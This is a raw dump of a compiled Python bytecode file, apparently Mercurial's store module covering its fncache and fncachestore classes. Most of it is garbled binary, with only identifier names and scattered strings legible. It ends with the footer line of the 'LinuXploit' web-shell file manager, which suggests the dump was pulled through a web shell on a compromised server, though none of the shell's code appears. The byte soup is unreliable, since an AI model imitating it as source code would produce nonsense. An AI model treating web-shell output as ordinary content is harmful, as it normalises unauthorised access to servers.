fncache.write.s����;�;��>�>�!�>��<�<�$�*�*�4�D�L���D�J��L�L��$����*�5�T��B�B��|�|�����5�:�:�d�l�l�#;�e�#C�D�E��H�H�J��D�K��:�:��L�L��$����*�5�T��B�B��z�z�����5�:�:�d�j�j�#9�E�#A�B�C��H�H�J��D�L���D�J�r(c�:�URRU5 gr�)r��addr�s  r&�	addignore�fncache.addignoreCs���
�
���"�r(c��XR;agUR(dUR5 XR;aURRU5 ggr�)r�r�r�r�r�r
r�s  r&r
�fncache.addFs>��
������~�~��J�J�L�
�\�\�!��J�J�N�N�2��"r(c��UR(dUR5 XR;aURRU5 gURRU5 SUlg![a gf=f�NT)r�r�r��remover�r�rJr�s  r&r�fncache.removeNsa���~�~��J�J�L�
�����J�J���b�!��	��L�L����#��D�K���	��	�s�"A1�1
A>�=A>c��XR;agUR(dUR5 XR;$r)r�r�r�r�r�s  r&r��fncache.__contains__Zs,��
������~�~��J�J�L��\�\�!�!r(c��UR(dUR5 [URUR-5$r�)r�r�r�r�r�r�s r&�__iter__�fncache.__iter__as*���~�~��J�J�L��D�L�L�4�:�:�-�.�.r()r�r�r�r�rr�)r�r�r�r�rr�r�r�r�rr�rr
rr�rr�r�r(r&r�r��sI����(��(��$�L
-��*��
�"�/r(r�c�4�\rSrSrSrSSjrS	SjrSrSrg)
�_fncachevfsigc�t�[RRX5 X lX0lU[
LUlgr�)r|�proxyvfsrr��encoder��uses_dotencode)r�r�fncrs    r&r�_fncachevfs.__init__hs+����� � ��+� #����$��3��r(c���URU5nUS;a�URS5(dURS5(a�[U5(a�URR(+=(aG UR
R
U5=(a% UR
RU5RnU(dURRU5 UR
"XR/UQ70UD6$)N)�rr��data/�meta/)
rr�r�r�r�rr�r�r�r
)r�r3r��args�kw�encoded�notloads       r&�__call__�_fncachevfs.__call__ns����+�+�d�#���
�%�����*�*�d�o�o�h�.G�.G��t�$�$��,�,�0�0�0��������(�3��H�H�M�M�'�*�2�2�
����� � ��&��x�x��3��3��3�3r(c�^�U4SjU5nU(a,TRR"TRU5/UQ76$TRR"U/UQ76$)Nc3�F># �UHnTRU5v� M g7fr�)r)r;r�r�s  �r&r<�#_fncachevfs.join.<locals>.<genexpr>�s����3�7�a�4�;�;�q�>�>�7�s�!)rrRr)r�r3�insidefs`  r&rR�_fncachevfs.join�sI���3�7�3����8�8�=�=����T�!2�=�W�=�=��8�8�=�=��0��0�0r(c��URS5(dURS5(aURRU5 gg)z1generic hook point to lets fncache steer its stewr%r&N)r�r�r
r�s  r&�
register_file�_fncachevfs.register_file�s7���?�?�8�$�$�����(A�(A��L�L���T�"�)Br()rr�r N)r$)r3zOptional[bytes]r0�bytesr
r5)	r�r�r�r�rr+rRr3r�r�r(r&rrgs��4�4�(1�#r(rc�\�\rSrSrSrSrSrSSSjjrSrSr	S	r
S
rSrSr
S
rg)�fncachestorei�c�L�U(a[nO[nX@lU"US-5nURUlURS-Ul[
U5UlURUlXPl[U5nX`l	[XVU5UlURUlg)Nr�r)
r�r�rryr3�pathsepr�rzr{r�rrr~)r�r3r�rrrr!s       r&r�fncachestore.__init__�s���� �F�'�F����d�Y�&�'���H�H��	��y�y�4�'���#�C�.�����������c�l�����s��0����h�h��r(c�>�URURU5-$r�)r9rr�s  r&rR�fncachestore.join�s���|�|�d�k�k�!�n�,�,r(c�L�URRU5R$r�)r{r�r�r�s  r&�getsize�fncachestore.getsize�s���{�{����%�-�-�-r(Nc#�# �SUR5n[U5nUH�upVURS5(a[nUR	SS5SnOQURS5(a4[
nUR	SS5Sn	U	R
SS5SS-nOU5e[UUUUS9n
[X�5(dM�U
v� M� g7f)Nc3�N# �UHn[U5(dMUS4v� M g7fr�)r�r:s  r&r<�,fncachestore.data_entries.<locals>.<genexpr>�s���F�L�q�N�1�4E��!�T��L�s�%�%r%rrr&rr�)	r�rir�rr�rr�rr')r�r%r�r�	by_revlogrr&r�r��tmpr$s           r&r��fncachestore.data_entries�s����G�D�L�L�F��"�5�)�	�(�O�F�� � ��*�*�&��#)�<�<��a�#8��#;� ��"�"�8�,�,�*���l�l�4��+�A�.��#&�:�:�d�A�#6�q�#9�D�#@� �%�f�$�u�$�"�#�*��	�E�$�E�3�3���' )�s�CC�		Cc�F�SnSS/UVs/sHnSU-PM
 sn-$s snf)N)
r�r�r�r�sdhr�r�r�r�r�r�r�r�r�r�r�r�)r�r�r�s   r&r��fncachestore.copylist�s2��
���-�.��1K��A�)�a�-��1K�K�K��1Ks�c�:�URRU5 gr�)r�r�r�s  r&r��fncachestore.write�s�������2�r(c�X�SURl[5URlgr�)r�r�r�r�r�s r&r��fncachestore.invalidatecaches�s��#����� �U����r(c�:�URRU5 gr�)r�rr�s  r&r��fncachestore.markremoved�s�������B�r(c�j�URU5nURU5 g![a gf=fr�)rr>r�)r�r�r�s   r&�_exists�fncachestore._exists�s5��
�[�[��^��	��L�L����� �	��	�s�%�
2�2c�<�SRSU45nUS-nX R;aURU5(agURS5(dUS-
nURH3nUR	U5(dMURU5(dM3 g g)r�rr�r�TF)rRr�rOr�r�)r�r3r_s   r&r��fncachestore.__contains__�s���y�y�'�4��)���5�L���������a�����}�}�T�"�"��D�L�D����A��|�|�D�!�!�d�l�l�1�o�o���r()rzrr�r~r3r9r{rr�r�)r�r�r�r�rrRr>r�r�r�r�r�rOr�r�r�r(r&r7r7�sB���"-�.�)-��	.��:L�$�#� ��
r(r7)r$r)r
z
Iterator[int])W�
__future__rrar�r��rer��typingrrrr�i18nr	�
thirdpartyr
�
TYPE_CHECKING�noder�revlogutils.constantsrr
rr�rrrrrrrrLrrr|�utilsr�	importmodrr�r'r4�getattrr5r7r@rergrkrirlrrrpr}r~r�r�r�r�r�r�r�r�r�r�r�rlr#�compile�EXCLUDEDr�r�rKr�rrrrirdr5rwr�r�rrr7r�r(r&�<module>ras`��#���	�	��
�����
�������
�
�
��
�
�
�9�
%����E�.�$
�G�[�*�5�	��$�7�t-�.���l�&�&��2�g�}�d�3�M�7K�7M��,����-�`���
��
��)�*�Q�.���@$�N��g�|�[�9��#�	�	������,��
�:�:�1�2�������d��,.�,.��,.�^���d���!:�!:� �!:�H���d���!�~�!� �!�H���d���k>�~�k>� �k>�\#�*��"a%�a%�H&P�:�&P�R/�/�D&#�&�/�/�&#�Rf�:�fr(

Youez - 2016 - github.com/yon3zu
LinuXploit